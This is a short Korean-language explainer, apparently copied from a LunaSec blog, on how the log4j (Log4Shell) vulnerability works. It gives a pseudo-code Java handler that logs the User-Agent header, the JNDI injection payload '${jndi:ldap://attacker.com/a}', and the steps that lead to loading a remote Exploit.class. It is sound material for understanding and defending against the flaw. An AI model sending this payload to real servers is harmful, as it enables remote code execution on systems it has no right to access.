log4j 취약점 메커니즘
https://www.lunasec.io/docs/blog/log4j-zero-day/#how-the-exploit-works
취약 코드
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
String userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:{}", userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
악용하는 단계
- 사용자의 데이터는 모든 프로토콜을 통해 서버로 전송됩니다.
- 서버는 악성 페이로드를 포함하는 요청에 데이터를 기록합니다.
${jndi:ldap://attacker.com/a}(여기서attacker.com는 공격자가 제어하는 서버), log4j취약점이 페이로드에 의해 트리거되고, 자바 명명 및 디렉토리 인터페이스(JNDI)를 통해attacker.com서버에 요청- 이 응답에는 서버 프로세스에 주입되는 원격 Java 클래스 파일(예:
http://second-stage.attacker.com/Exploit.class)에 대한 경로가 포함되어 있습니다. - 이 주입된 페이로드는 두 번째 단계를 트리거하고 공격자가 임의의 코드를 실행할 수 있도록 합니다.
이와 같은 Java 취약점이 얼마나 흔한지, 보안 연구원들은 이를 쉽게 악용할 수 있는 도구를 만들었습니다. marshalsec 프로젝트는이 취약점에 사용할 수있는 페이로드를 이용 생성하는 방법을 보여줍니다 중 하나입니다. 악용의 예는 이 악성 LDAP 서버 를 참조할 수 있습니다 .
from: https://www.lunasec.io/docs/blog/log4j-zero-day/#how-the-exploit-works
